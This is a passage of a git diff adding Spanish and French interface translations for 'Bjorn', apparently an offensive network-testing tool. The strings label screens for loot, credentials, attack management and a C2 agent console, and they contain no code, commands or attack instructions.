"Columnas", + "db.search": "Buscar tablas...", + "db.searchRows": "Buscar filas...", + "db.export": "Exportar", + "db.import": "Importar", + "db.addRow": "Añadir fila", + "db.deleteRow": "Eliminar fila", + "db.deleteSelected": "Eliminar selección", + "db.saveChanges": "Guardar", + "db.discardChanges": "Descartar", + "db.confirmDelete": "¿Confirmar eliminación?", + "db.noTables": "No se encontraron tablas", + "db.noData": "No hay datos en esta tabla", + "db.hide": "Ocultar", + "db.showSidebar": "Mostrar barra lateral", + "files.title": "Explorador de archivos", + "files.gridView": "Cuadrícula", + "files.listView": "Lista", + "files.size": "Tamaño", + "files.modified": "Modificado", + "files.name": "Nombre", + "files.type": "Tipo", + "files.download": "Descargar", + "files.preview": "Previsualizar", + "files.noFiles": "No se encontraron archivos", + "files.parentDir": "Directorio superior", + "files.searchPlaceholder": "Buscar archivos...", + "loot.title": "Botín", + "loot.directories": "Directorios", + "loot.totalFiles": "Total archivos", + "loot.totalSize": "Tamaño total", + "loot.download": "Descargar", + "loot.downloadAll": "Descargar todo", + "loot.noLoot": "No se encontró botín", + "loot.explore": "Explorar", + "actions.title": "Gestor de acciones", + "actions.available": "Disponibles", + "actions.enabled": "Habilitadas", + "actions.disabled": "Deshabilitadas", + "actions.category": "Categoría", + "actions.enableAll": "Habilitar todas", + "actions.disableAll": "Deshabilitar todas", + "actions.import": "Importar", + "actions.export": "Exportar", + "actions.noActions": "No se encontraron acciones", + "actions.description": "Descripción", + "actions.menu.restartService": "Reiniciar servicio Bjorn", + "actions.menu.deleteActionStatus": "Eliminar todos los estados de acción", + "actions.menu.clearOutput": "Vaciar carpeta Output", + "actions.menu.clearLogs": "Limpiar registros", + "actions.menu.reloadImages": "Recargar imágenes (experimental)", + "actions.menu.reloadFonts": "Recargar fuentes", + "actions.menu.reloadActionsJson": "Recargar JSON de acciones", + "actions.menu.initializeCsv": "Inicializar archivos CSV", + "actions.menu.clearLivestatus": "Eliminar archivo Livestatus", + "actions.menu.refreshActionsFile": "Actualizar archivo de acciones", + "actions.menu.clearNetkb": "Vaciar conocimiento de red", + "actions.menu.clearSharedConfig": "Eliminar JSON de config compartida", + "actions.menu.eraseMemories": "Borrar memorias de Bjorn", + "actions.menu.reboot": "Reiniciar sistema", + "actions.menu.shutdown": "Apagar sistema", + "actions.tip.restartService": "Reinicia el servicio Bjorn para actualizar su estado.", + "actions.tip.deleteActionStatus": "Elimina todos los estados de éxito y fallo de acciones/ataques en netkb.csv.", + "actions.tip.clearOutput": "Elimina todos los archivos en las carpetas de salida y subcarpetas.", + "actions.tip.clearLogs": "Elimina todos los archivos de registros del sistema.", + "actions.tip.reloadImages": "Recarga las imágenes utilizadas por el sistema.", + "actions.tip.reloadFonts": "Recarga las fuentes de la aplicación.", + "actions.tip.reloadActionsJson": "Recarga el archivo JSON de acciones generadas.", + "actions.tip.initializeCsv": "Vuelve a crear los archivos CSV y JSON.", + "actions.tip.clearLivestatus": "Elimina el archivo de estado en vivo.", + "actions.tip.refreshActionsFile": "Actualiza el archivo de acciones para incluir nuevas acciones.", + "actions.tip.clearNetkb": "Elimina toda la información guardada en la base de conocimiento de red.", + "actions.tip.clearSharedConfig": "Elimina el archivo JSON de configuración compartida.", + "actions.tip.eraseMemories": "Borra completamente la memoria y ajustes de Bjorn.", + "actions.tip.reboot": "Reinicia todo el sistema.", + "actions.tip.shutdown": "Apaga el sistema completamente.", + "actions.confirm.restartRecommended": "Se recomienda reiniciar el servicio. ¿Reiniciar ahora?", + "actions.confirm.restartService": "¿Reiniciar servicio Bjorn?", + "actions.confirm.deleteActionStatus": "¿Eliminar todos los estados de acción guardados?", + "actions.confirm.clearOutput": "¿Vaciar toda la carpeta output?", + "actions.confirm.clearLogs": "¿Eliminar todos los archivos de registros?", + "actions.confirm.clearNetkb": "¿Vaciar conocimiento de red? Esta acción es irreversible.", + "actions.confirm.clearLivestatus": "¿Eliminar archivo livestatus?", + "actions.confirm.refreshActionsFile": "¿Actualizar archivo de acciones?", + "actions.confirm.clearSharedConfig": "¿Eliminar JSON de config compartida? Esta acción es irreversible.", + "actions.confirm.eraseMemories": "¿Borrar toda la memoria y ajustes de Bjorn? Esta acción es irreversible.", + "actions.confirm.reboot": "¿Reiniciar todo el sistema?", + "actions.confirm.shutdown": "¿Apagar el sistema?", + "actions.msg.restartingService": "El servicio Bjorn se está reiniciando...", + "actions.msg.restartFailed": "Fallo al reiniciar el servicio", + "actions.msg.actionStatusDeleted": "Se eliminaron todos los estados de acción.", + "actions.msg.outputCleared": "Se vació la carpeta output.", + "actions.msg.logsCleared": "Se limpiaron los registros.", + "actions.msg.netkbCleared": "Se vació el conocimiento de red.", + "actions.msg.livestatusDeleted": "Se eliminó el archivo livestatus.", + "actions.msg.actionsFileRefreshed": "Se actualizó el archivo de acciones.", + "actions.msg.sharedConfigDeleted": "Se eliminó el JSON de config compartida.", + "actions.msg.memoriesErased": "Se borraron las memorias de Bjorn.", + "actions.msg.rebooting": "El sistema se está reiniciando...", + "actions.msg.shuttingDown": "El sistema se está apagando...", + "actions.msg.csvInitialized": "Se inicializaron los archivos CSV.", + "actions.msg.actionsJsonReloaded": "Se recargó el JSON de acciones.", + "actions.msg.imagesReloaded": "Se recargaron las imágenes.", + "actions.msg.fontsReloaded": "Se recargaron las fuentes.", + "actions.msg.unknownAction": "Acción desconocida", + "actions.msg.actionFailed": "Acción fallida", + "studio.title": "Estudio Acciones", + "studio.palette": "Paleta", + "studio.canvas": "Lienzo", + "studio.inspector": "Inspector", + "studio.actionsTab": "Acciones", + "studio.hostsTab": "Hosts", + "studio.globalTab": "Global", + "studio.save": "Guardar", + "studio.load": "Cargar", + "studio.run": "Ejecutar", + "studio.clear": "Limpiar", + "studio.addNode": "Añadir nodo", + "studio.removeNode": "Eliminar nodo", + "studio.search": "Buscar acciones...", + "backup.title": "Copia y Act.", + "backup.backupRestore": "Copia / Restauración", + "backup.update": "Actualización", + "backup.createBackup": "Crear copia", + "backup.restoreBackup": "Restaurar", + "backup.downloadBackup": "Descargar", + "backup.deleteBackup": "Eliminar copia", + "backup.lastBackup": "Última copia", + "backup.checkUpdates": "Buscar act.", + "backup.installUpdate": "Instalar act.", + "backup.currentVersion": "Versión actual", + "backup.latestVersion": "Última versión", + "backup.upToDate": "Al día", + "backup.updateAvailable": "Act. disponible", + "backup.clearLogs": "Limpiar registros", + "backup.noBackups": "No se encontraron copias", + "backup.restoring": "Restaurando...", + "backup.creating": "Creando copia...", + "webenum.title": "Enumeración Web", + "webenum.totalResults": "Total resultados", + "webenum.uniqueHosts": "Hosts únicos", + "webenum.successCount": "Éxito (2xx)", + "webenum.errorCount": "Errores (4xx/5xx)", + "webenum.host": "Host", + "webenum.ip": "IP", + "webenum.port": "Puerto", + "webenum.directory": "Directorio", + "webenum.status": "Estado", + "webenum.size": "Tamaño", + "webenum.scanDate": "Fecha escaneo", + "webenum.link": "Enlace", + "webenum.exportJson": "Exportar JSON", + "webenum.exportCsv": "Exportar CSV", + "webenum.noResults": "No se encontraron resultados", + "webenum.details": "Detalles del resultado", + "webenum.openUrl": "Abrir URL", + "webenum.copyUrl": "Copiar URL", + "webenum.showing": "Mostrando {{start}}-{{end}} de {{total}} resultados", + "webenum.itemsPerPage": "Elementos por página", + "webenum.refreshData": "Actualizar datos", + "webenum.responseTime": "Tiempo respuesta", + "webenum.contentType": "Tipo contenido", + "webenum.fullUrl": "URL completa", + "zombie.title": "Zombieland C2C", + "zombie.agents": "Agentes", + "zombie.terminal": "Terminal", + "zombie.commands": "Comandos", + "zombie.totalAgents": "Total agentes", + "zombie.onlineAgents": "En línea", + "zombie.offlineAgents": "Desconectados", + "zombie.idleAgents": "Inactivos", + "zombie.sendCommand": "Enviar comando", + "zombie.broadcast": "Difusión", + "zombie.selectAgent": "Seleccionar agente", + "zombie.os": "SO", + "zombie.lastSeen": "Última vez visto", + "zombie.status": "Estado", + "zombie.noAgents": "No hay agentes conectados", + "zombie.quickCommands": "Comandos rápidos", + "zombie.files": "Archivos", + "quick.autoScan": "Auto-escaneo", + "quick.connectWifi": "Conectar WiFi", + "quick.knownNetworks": "Redes conocidas", + "quick.importPotfiles": "Importar Potfiles", + "quick.subtitle": "WiFi & Bluetooth", + "quick.pair": "Emparejar", + "quick.trust": "Confiar", + "quick.forgetDevice": "Olvidar dispositivo", + "quick.forgetDevicePrompt": "¿Olvidar {{name}}?", + "quick.forgetNetworkPrompt": "¿Seguro que quieres olvidar esta red?", + "bjorn.title": "Pantalla EPD Bjorn", + "bjorn.epdScreen": "Pantalla e-Paper", + "bjorn.refreshInterval": "Intervalo de refresco", + "bjorn.autoRefresh": "Refresco auto", + "bjorn.manualRefresh": "Refrescar ahora", + "bjorn.seconds": "segundos", + "common.search": "Buscar", + "common.filter": "Filtrar", + "common.refresh": "Refrescar", + "common.save": "Guardar", + "common.cancel": "Cancelar", + "common.delete": "Eliminar", + "common.edit": "Editar", + "common.close": "Cerrar", + "common.loading": "Cargando...", + "common.noData": "No hay datos disponibles", + "common.error": "Error", + "common.success": "Éxito", + "common.confirm": "Confirmar", + "common.yes": "Sí", + "common.no": "No", + "common.export": "Exportar", + "common.import": "Importar", + "common.download": "Descargar", + "common.upload": "Subir", + "common.copy": "Copiar", + "common.start": "Iniciar", + "common.stop": "Detener", + "common.restart": "Reiniciar", + "common.status": "Estado", + "common.name": "Nombre", + "common.value": "Valor", + "common.type": "Tipo", + "common.host": "Host", + "common.port": "Puerto", + "common.target": "Objetivo", + "common.date": "Fecha", + "common.time": "Hora", + "common.size": "Tamaño", + "common.actions": "Acciones", + "common.details": "Detalles", + "common.back": "Atrás", + "common.next": "Siguiente", + "common.previous": "Anterior", + "common.first": "Primero", + "common.last": "Último", + "common.all": "Todo", + "common.none": "Ninguno", + "common.showing": "Mostrando", + "common.of": "de", + "common.results": "resultados", + "common.items": "elementos", + "common.page": "Página", + "common.perPage": "por página", + "common.sortBy": "Ordenar por", + "common.ascending": "Ascendente", + "common.descending": "Descendente", + "common.view": "Vista", + "common.table": "Tabla", + "common.grid": "Cuadrícula", + "common.list": "Lista", + "common.map": "Mapa", + "common.enabled": "Habilitado", + "common.disabled": "Deshabilitado", + "common.on": "On", + "common.off": "Off", + "common.version": "Versión", + "common.hide": "Ocultar", + "common.show": "Mostrar", + "common.add": "Añadir", + "common.remove": "Eliminar", + "common.clear": "Limpiar", + "common.reset": "Restablecer", + "common.apply": "Aplicar", + "common.run": "Ejecutar", + "common.send": "Enviar", + "common.connect": "Conectar", + "common.disconnect": "Desconectar", + "common.selectAll": "Seleccionar todo", + "common.deselectAll": "Deseleccionar todo", + "common.copied": "¡Copiado!", + "common.notFound": "No encontrado", + "backup.checkUpdatesHint": "Haz clic en \"Buscar act.\" para ver las versiones.", + "backup.checkingUpdates": "Buscando actualizaciones...", + "backup.confirmFreshStart": "¿Confirmar inicio fresco? ", + "backup.createdSuccessfully": "Copia creada con éxito.", + "backup.defaultUpdated": "Copia predeterminada actualizada.", + "backup.deleted": "Copia eliminada.", + "backup.descriptionPlaceholder": "Descripción de la copia...", + "backup.enterDescription": "Por favor, introduce una descripción.", + "backup.failedCheckUpdates": "Error al buscar actualizaciones", + "backup.failedCreate": "Error al crear la copia", + "backup.failedDelete": "Error al eliminar la copia", + "backup.failedLoadBackups": "Error al cargar las copias", + "backup.failedSetDefault": "Error al establecer predeterminada", + "backup.freshStart": "Inicio fresco", + "backup.freshStartFailed": "Error en inicio fresco", + "backup.freshStartInitiated": "Inicio fresco iniciado.", + "backup.github": "github", + "backup.keepActions": "Mantener carpeta actions", + "backup.keepConfig": "Mantener carpeta config", + "backup.keepData": "Mantener carpeta data", + "backup.keepResources": "Mantener carpeta resources", + "backup.noBackupsCreateAbove": "No hay copias. Crea una arriba.", + "backup.restoreCompleted": "Restauración completada.", + "backup.restoreOptions": "Opciones de restauración", + "backup.restorePoint": "punto-de-restauración", + "backup.selectKeepFolders": "Selecciona las carpetas a mantener:", + "backup.setDefault": "Establecer predeterminada", + "backup.unnamedBackup": "Copia sin nombre", + "backup.updateInitiated": "Actualización iniciada.", + "backup.updateOptions": "Opciones de actualización", + "common.confirmDiscardUnsaved": "¿Descartar cambios no guardados?", + "common.confirmQuestion": "¿Confirmar?", + "common.default": "predeterminado", + "common.deleteFailed": "Error al eliminar", + "common.deleted": "Eliminado", + "common.description": "Descripción", + "common.directory": "directorio", + "common.duplicate": "Duplicar", + "common.exportJson": "Exportar JSON", + "common.failed": "fallido", + "common.file": "archivo", + "common.importJson": "Importar JSON", + "common.new": "Nuevo", + "common.noMatches": "Sin coincidencias", + "common.options": "Opciones", + "common.processingPleaseWait": "Procesando, espera por favor...", + "common.refreshed": "Actualizado", + "common.rename": "Renombrar", + "common.saving": "Guardando...", + "common.unknown": "desconocido", + "common.unsavedChanges": "Cambios no guardados", + "db.autoRefresh": "Refresco auto", + "db.changesDiscarded": "Cambios descartados", + "db.changesSaved": "Cambios guardados", + "db.confirmDrop": "¿ELIMINAR tabla \"{{table}}\"? ¡Esto es irreversible!", + "db.confirmTruncate": "¿Vaciar todas las filas de \"{{table}}\"?", + "db.dangerZone": "Zona de peligro", + "db.deletingRowsCount": "Eliminando {{count}} fila(s)...", + "db.dropFailed": "Error al eliminar la tabla", + "db.droppedTable": "Tabla {{table}} eliminada", + "db.dropping": "Eliminando...", + "db.emptyTable": "Tabla vacía", + "db.errorLoadingData": "Error al cargar los datos", + "db.failedLoadCatalog": "Error al cargar el catálogo", + "db.failedLoadTable": "Error al cargar la tabla", + "db.filterTables": "Filtrar tablas...", + "db.insertFailed": "Error al insertar", + "db.insertingRow": "Insertando fila...", + "db.noRowsSelected": "No hay filas seleccionadas", + "db.rowInserted": "Fila insertada", + "db.rowsDeleted": "Filas eliminadas", + "db.runningVacuum": "Ejecutando VACUUM...", + "db.saveFailed": "Error al guardar", + "db.selectTableFromSidebar": "Selecciona una tabla en la barra lateral", + "db.tableDropped": "Tabla eliminada", + "db.tableTruncated": "Tabla vaciada", + "db.truncateFailed": "Error al vaciar", + "db.truncating": "Vaciando...", + "db.vacuumComplete": "VACUUM completado", + "db.vacuumDone": "VACUUM hecho", + "db.vacuumFailed": "Error en VACUUM", + "files.confirmDelete": "¿Eliminar {{label}} \"{{name}}\"?", + "files.downloadFile": "Descargar archivo", + "files.duplicateFailed": "Error al duplicar", + "files.duplicated": "Duplicado", + "files.emptyDirectory": "Directorio vacío", + "files.errorLoading": "Error al cargar archivos", + "files.failedLoadDir": "Error al cargar directorio", + "files.filterPlaceholder": "Filtrar archivos...", + "files.itemsCount": "{{count}} elemento(s)", + "files.newNamePrompt": "Nuevo nombre:", + "files.noMatch": "No hay archivos coincidentes", + "files.openDirectory": "Abrir directorio", + "files.parent": ".. (superior)", + "files.renameFailed": "Error al renombrar", + "files.renamed": "Renombrado", + "files.root": "Raíz", + "files.uploadComplete": "Subida completada", + "files.uploadFailed": "La subida falló", + "files.uploadingCount": "Subiendo {{count}} archivo(s)...", + "studio.actionNotFound": "Acción no encontrada", + "studio.classNameRequired": "Nombre de clase requerido", + "studio.confirmDeleteAction": "¿Eliminar acción \"{{name}}\"? Esto es irreversible.", + "studio.deletedName": "Eliminado: {{name}}", + "studio.exportedFile": "Exportado: {{name}}", + "studio.filterActions": "Filtrar acciones...", + "studio.importFailed": "Fallo al importar", + "studio.importedFile": "Importado: {{name}}", + "studio.loadFailed": "Fallo al cargar", + "studio.loadedFromCacheName": "Cargado desde caché: {{name}}", + "studio.loadedName": "Cargado: {{name}}", + "studio.newActionCreated": "Nueva acción creada", + "studio.noActionLoaded": "No hay acción cargada", + "studio.saveFailedBackedUp": "Fallo al guardar (copia local creada)", + "studio.savedName": "Guardado: {{name}}", + "studio.setClassBeforeExport": "Define una clase antes de exportar", + "zombie.agentRemoved": "Agente {{name}} eliminado", + "zombie.agentsPurged": "{{count}} agente(s) purgados", + "zombie.allAgents": "Todos los agentes", + "zombie.c2StartedOnPort": "Servidor C2 iniciado en puerto {{port}}", + "zombie.c2Stopped": "Servidor C2 detenido", + "zombie.clearConsole": "Limpiar consola", + "zombie.clearLogs": "Limpiar registros", + "zombie.commandBroadcasted": "Comando difundido", + "zombie.commandSentToAgents": "Comando enviado a {{count}} agente(s)", + "zombie.confirmPurgeStale": "¿Purgar agentes inactivos por más de 24h?", + "zombie.confirmRemoveAgent": "¿Eliminar agente {{name}}?", + "zombie.confirmStopC2": "¿Detener servidor C2?", + "zombie.consoleCleared": "Consola limpiada", + "zombie.enterC2Port": "Introduce puerto C2:", + "zombie.enterCommand": "Introduce comando...", + "zombie.failedPurgeStale": "Fallo al purgar agentes inactivos", + "zombie.failedRemoveAgent": "Fallo al eliminar agente {{name}}", + "zombie.failedSendCommand": "Fallo al enviar comando", + "zombie.failedStartC2": "Fallo al iniciar C2", + "zombie.failedStopC2": "Fallo al detener C2", + "zombie.noAgentsConnected": "No hay agentes conectados", + "zombie.noAgentsMatchSearch": "Ningún agente coincide con tu búsqueda", + "zombie.purgeStale": "Purgar inactivos", + "zombie.purgeStaleHint": "Purgar agentes inactivos >24h", + "zombie.removeAgent": "Eliminar agente", + "zombie.startC2": "Iniciar C2", + "zombie.stopC2": "Detener C2", + "zombie.systemLogs": "Registros sistema", + "zombieland.alive": "Vivo", + "zombieland.c2Status": "Estado C2", + "zombieland.dead": "Muerto", + "zombieland.totalAgents": "Total agentes", + "greeting": "Hola", + "start": "Iniciar", + "tick": "Tick", + "common.ip": "IP", + "common.mac": "MAC", + "common.os": "SO", + "zombie.never": "Nunca", + "zombie.openInConsole": "Abrir en consola", + "common.saved": "Guardado", + "attacks.tabs.attacks": "Ataques", + "attacks.tabs.comments": "Comentarios", + "attacks.tabs.images": "Imágenes", + "attacks.btn.addAttack": "Añadir ataque", + "attacks.btn.removeAttack": "Eliminar ataque", + "attacks.btn.deleteAction": "Eliminar acción", + "attacks.btn.restoreDefaultsBundle": "Restaurar predeterminados", + "attacks.btn.addSection": "Añadir sección", + "attacks.btn.deleteSection": "Eliminar sección", + "attacks.btn.restoreDefault": "Restaurar por defecto", + "attacks.btn.createCharacter": "Crear personaje", + "attacks.btn.deleteCharacter": "Eliminar personaje", + "attacks.section.characters": "Personaje", + "attacks.section.statusImages": "Imágenes estado", + "attacks.section.staticImages": "Imágenes estáticas", + "attacks.section.webImages": "Imágenes web", + "attacks.section.actionIcons": "Iconos acción", + "attacks.editor.selectAttack": "Seleccionar ataque", + "attacks.empty.noAttacks": "No se encontraron ataques.", + "attacks.empty.noComments": "No se encontraron comentarios.", + "attacks.comments.placeholder": "Los comentarios se mostrarán aquí...", + "attacks.images.enterEditMode": "Activar modo edición", + "attacks.images.exitEditMode": "Salir modo edición", + "attacks.images.sortName": "Orden: nombre", + "attacks.images.sortDimensions": "Orden: tamaño", + "attacks.images.search": "Buscar imágenes...", + "attacks.images.rename": "Renombrar imagen", + "attacks.images.replace": "Reemplazar imagen", + "attacks.images.resizeSelected": "Redimensionar selección", + "attacks.images.addCharacters": "Añadir imágenes personaje", + "attacks.images.deleteSelected": "Eliminar selección", + "attacks.images.addStatus": "Añadir imagen estado", + "attacks.images.addStatic": "Añadir imagen estática", + "attacks.images.addWeb": "Añadir imagen web", + "attacks.images.addIcon": "Añadir icono acción", + "attacks.errors.loadAttacks": "Fallo al cargar ataques.", + "attacks.errors.loadImages": "Fallo al cargar imágenes.", + "attacks.confirm.switchCharacter": "¿Cambiar al personaje \"{{name}}\"?", + "attacks.confirm.removeAttack": "¿Eliminar ataque \"{{name}}\"?", + "attacks.confirm.deleteAction": "¿Eliminar acción \"{{name}}\"?", + "attacks.confirm.restoreAttack": "¿Restaurar \"{{name}}\" por defecto?", + "attacks.confirm.restoreDefaultsBundle": "¿Restaurar TODOS los valores por defecto (acciones, imágenes, comentarios)?", + "attacks.confirm.deleteCharacter": "¿Eliminar personaje \"{{name}}\"?", + "attacks.confirm.deleteSection": "¿Eliminar sección \"{{name}}\"?", + "attacks.confirm.restoreDefaultComments": "¿Restaurar comentarios por defecto?", + "attacks.confirm.deleteSelectedImages": "¿Eliminar imágenes seleccionadas?", + "attacks.prompt.newCharacterName": "Nombre nuevo personaje:", + "attacks.prompt.characterToDelete": "Personaje a eliminar:", + "attacks.prompt.newSectionName": "Nombre nueva sección:", + "attacks.prompt.newImageName": "Nuevo nombre:", + "attacks.prompt.resizeWidth": "Ancho redimensión:", + "attacks.prompt.resizeHeight": "Alto redimensión:", + "attacks.toast.characterSwitched": "Personaje cambiado", + "attacks.toast.attackImported": "Ataque importado", + "attacks.toast.selectAttackFirst": "Selecciona un ataque primero", + "attacks.toast.actionDeleted": "Acción eliminada", + "attacks.toast.defaultsRestored": "Valores por defecto restaurados", + "attacks.toast.characterCreated": "Personaje creado", + "attacks.toast.noDeletableCharacters": "No hay personajes eliminables", + "attacks.toast.characterDeleted": "Personaje eliminado", + "attacks.toast.commentsRestored": "Comentarios restaurados", + "attacks.toast.selectSectionFirst": "Selecciona una sección primero", + "attacks.toast.commentsSaved": "Comentarios guardados", + "attacks.toast.selectExactlyOneImage": "Selecciona exactamente una imagen", + "attacks.toast.selectAtLeastOneImage": "Selecciona al menos una imagen", + "attacks.toast.imagesResized": "Imágenes redimensionadas", + "attacks.toast.characterImagesUploaded": "Imágenes personaje subidas", + "attacks.toast.selectStatusActionFirst": "Selecciona acción estado primero", + "actions.toast.presetApplied": "Ajuste aplicado", + "actions.toast.startingAction": "Iniciando {{name}}...", + "actions.toast.actionStarted": "Acción iniciada", + "actions.toast.stoppedByUser": "Detenido por usuario", + "actions.toast.actionStopped": "Acción detenida", + "actions.toast.stopFailed": "Fallo al detener", + "actions.toast.failedToStop": "Incapaz de detener", + "actions.toast.consoleCleared": "Consola limpiada", + "actions.toast.noLogsToExport": "Sin registros para exportar", + "actions.toast.logsExported": "Registros exportados", + "netkb.confirmRemoveAction": "¿Eliminar acción \"{{action}}\" para IP \"{{ip}}\"?", + "netkb.actionRemoved": "Acción eliminada", + "actions.running": "En curso", + "attacks.btn.syncMissing": "Sincronizar elementos faltantes", + "attacks.images.gridDensity": "Densidad cuadrícula", + "attacks.images.density": "Densidad", + "attacks.sync.defaultComment": "Añadir comentario para esta acción", + "attacks.sync.none": "No hay ataques que sincronizar.", + "attacks.sync.done": "Sincronización terminada. Nuevos comentarios: {{comments}}, imágenes estado: {{status}}, imágenes personaje: {{characters}}.", + "attacks.sync.failed": "Fallo al sincronizar elementos faltantes", + "actions.args.free": "Argumentos libres", + "actions.args.none": "Sin argumentos configurables", + "actions.args.subtitle": "Generado auto desde definiciones", + "actions.args.title": "Argumentos", + "actions.assign": "Asignar", + "actions.emptyPane": "Sin acción seleccionada", + "actions.logs.completed": "Hecho", + "actions.logs.empty": "Sin registros aún", + "actions.logs.waiting": "Esperando...", + "actions.searchPlaceholder": "Buscar acciones...", + "actions.tabs.actions": "Acciones", + "actions.tabs.arguments": "Argumentos", + "actions.toast.selectActionFirst": "Selecciona una acción primero", + "common.move": "Mover", + "common.ready": "Listo", + "common.menu": "Menú", + "common.browse": "Examinar...", + "common.platform": "Plataforma", + "common.generate": "Generar", + "common.vendor": "Fabricante", + "common.hostname": "Nombre host", + "common.ports": "Puertos", + "zombie.generateClient": "Generar cliente", + "zombie.checkStale": "Buscar inactivos", + "zombie.selectedAgents": "agentes seleccionados", + "zombie.clientId": "ID Cliente", + "zombie.labCreds": "Credenciales Lab", + "zombie.deployOptions": "Opciones despliegue", + "zombie.deployViaSSH": "Desplegar vía SSH", + "zombie.fileBrowser": "Explorador archivos", + "dash.lastUpdate": "Última actualización", + "netkb.searchPlaceholder": "Buscar host, IP, fabricante, puerto...", + "netkb.searchHint": "Tip: escribe 'port:80' o 'vendor:intel'", + "files.dropzoneHint": "Suelta archivos aquí o haz clic para subir", + "files.moveToTitle": "Mover a...", + "files.selectDestinationFolder": "Seleccionar destino", + "attacks.sidebar.management": "Gestión", + "sched.upcoming": "Próximos", + "sched.success": "Éxito", + "sched.cancelled": "Cancelado", + "sched.history": "Historial", + "sched.historyMsg": "Registros historial", + "creds.searchPlaceholder": "Buscar servicios, usuarios...", + "creds.uniqueHosts": "Hosts únicos", + "creds.totalCredentials": "Total credenciales", + "console.maxReconnect": "Consola: alcanzado el máximo de intentos de reconexión", + "console.scrollToBottom": "Desplazarse al final", + "console.manual": "Manual", + "console.auto": "Auto", + "console.turnOnAuto": "Activar modo Auto", + "console.turnOnManual": "Activar modo Manual", + "console.noTarget": "Sin objetivo", + "console.noAction": "Sin acción", + "console.scanStarted": "Escaneo manual iniciado", + "console.scanFailed": "Fallo en escaneo manual", + "console.attackStarted": "Ataque manual iniciado", + "console.attackFailed": "Fallo en ataque manual", + "console.failedToggleMode": "Fallo al cambiar modo", + "console.reconnectAttempt": "Reconectando (intento {{count}})...", + "quick.close": "Cerrar panel", + "quick.connectingTo": "Conectando a {{ssid}}...", + "quick.connectedTo": "Conectado a {{ssid}}", + "quick.connectionFailed": "Fallo en la conexión", + "quick.loadKnownFailed": "Fallo al cargar redes conocidas", + "quick.priorityUpdated": "Prioridad actualizada", + "quick.priorityUpdateFailed": "Fallo al actualizar prioridad", + "quick.networkRemoved": "Red eliminada", + "quick.importingPotfiles": "Importando potfiles...", + "quick.importedCount": "{{count}} credenciales importadas", + "quick.btScanFailed": "Fallo en escaneo Bluetooth", + "quick.btActioning": "{{action}} de {{name}}...", + "quick.btActionDone": "{{name}} {{action}} hecho", + "quick.btActionFailed": "Fallo en {{action}}", + "quick.btForgotten": "{{name}} olvidado", + "sidebar.close": "Cerrar barra lateral", + "api.aborted": "Abortado", + "api.timeout": "La solicitud ha expirado", + "api.failed": "La solicitud ha fallado", + "router.notFound": "Página no encontrada: {{path}}", + "router.errorLoading": "Error al cargar la página: {{message}}" +} \ No newline at end of file diff --git a/web/i18n/fr.json b/web/i18n/fr.json new file mode 100644 index 0000000..404fa29 --- /dev/null +++ b/web/i18n/fr.json @@ -0,0 +1,782 @@ +{ + "nav.dashboard": "Tableau de bord", + "nav.bjorn": "Bjorn", + "nav.netkb": "Base Réseau", + "nav.network": "Réseau", + "nav.credentials": "Identifiants", + "nav.vulnerabilities": "Vulnérabilités", + "nav.attacks": "Attaques", + "nav.scheduler": "Planificateur", + "nav.database": "Base de données", + "nav.files": "Fichiers", + "nav.loot": "Butin", + "nav.actions": "Actions", + "nav.actionsStudio": "Studio Actions", + "nav.backup": "Sauvegarde & MAJ", + "nav.webEnum": "Enum Web", + "nav.zombieland": "Zombieland", + "nav.ai_dashboard": "Tableau de bord IA", + "nav.settings": "Paramètres", + "nav.shortcuts": "Raccourcis", + "nav.pages": "Pages", + "status.initializing": "Initialisation...", + "status.online": "En ligne", + "status.offline": "Hors ligne", + "console.title": "Console", + "console.clear": "Effacer", + "console.sseOn": "SSE Actif", + "console.sseOff": "SSE Inactif", + "console.newLogs": "{{count}} nouveaux logs", + "settings.theme": "Thème", + "settings.language": "Langue", + "settings.general": "Général", + "settings.toggles": "Options", + "settings.editValue": "Modifier la valeur", + "settings.addValues": "Ajouter des valeurs (séparées par des virgules)...", + "settings.setValue": "Définir la valeur...", + "settings.errorLoading": "Erreur de chargement de la configuration", + "settings.configSaved": "Configuration enregistrée", + "settings.errorSaving": "Erreur d'enregistrement de la configuration", + "settings.defaultsRestored": "Valeurs par défaut restaurées", + "settings.errorRestoring": "Erreur lors de la restauration des valeurs par défaut", + "theme.group.colors": "Couleurs", + "theme.group.surfaces": "Surfaces", + "theme.group.layout": "Disposition", + "theme.token.bg": "Arrière-plan", + "theme.token.ink": "Couleur du texte", + "theme.token.accent1": "Accent 1 (Acide)", + "theme.token.accent2": "Accent 2 (Cyan)", + "theme.token.danger": "Danger", + "theme.token.warning": "Avertissement", + "theme.token.ok": "Succès", + "theme.token.panel": "Panneau", + "theme.token.panel2": "Panneau Alt", + "theme.token.ctrlPanel": "Panneau contrôle", + "theme.token.border": "Bordure", + "theme.token.radius": "Rayon de bordure", + "theme.advanced": "CSS avancé", + "theme.applyRaw": "Appliquer", + "theme.reset": "Réinitialiser", + "dash.title": "Tableau de bord", + "dash.battery": "Batterie", + "dash.internet": "Internet", + "dash.cpu": "CPU", + "dash.ram": "RAM", + "dash.disk": "Disque", + "dash.temp": "Temp", + "dash.uptime": "Durée", + "dash.hostsAlive": "Hôtes actifs", + "dash.totalHosts": "Total hôtes", + "dash.openPorts": "Ports ouverts", + "dash.credentials": "Identifiants", + "dash.vulnerabilities": "Vulnérabilités", + "dash.actions": "Actions", + "dash.connected": "Connecté", + "dash.disconnected": "Déconnecté", + "dash.charging": "En charge", + "dash.discharging": "Décharge", + "dash.full": "Plein", + "dash.connectivity": "Connectivité", + "dash.liveOps": "Opérations en direct", + "dash.tapRefresh": "Appuyer pour rafraîchir", + "dash.wifi": "Wi-Fi", + "dash.ethernet": "Ethernet", + "dash.usb": "USB", + "dash.bluetooth": "Bluetooth", + "dash.mode": "Mode", + "dash.gps": "GPS", + "dash.age": "Âge de Bjorn", + "dash.plugged": "Branché", + "dash.noBattery": "Pas de batterie", + "dash.sinceScan": "depuis le dernier scan", + "dash.wifiKnown": "Wi-Fi connus", + "dash.dataFiles": "Données / Fichiers collectés", + "dash.fileDescriptors": "Descripteurs de fichiers", + "dash.attackScripts": "Scripts d'attaque", + "dash.system": "Système", + "dash.zombies": "Zombies", + "netkb.title": "Base de connaissances réseau", + "netkb.showOffline": "Afficher hors ligne", + "netkb.gridView": "Grille", + "netkb.listView": "Liste", + "netkb.hostname": "Nom d'hôte", + "netkb.ip": "Adresse IP", + "netkb.mac": "Adresse MAC", + "netkb.vendor": "Fabricant", + "netkb.ports": "Ports", + "netkb.essid": "ESSID", + "netkb.lastSeen": "Dernière vue", + "netkb.firstSeen": "Première vue", + "netkb.online": "En 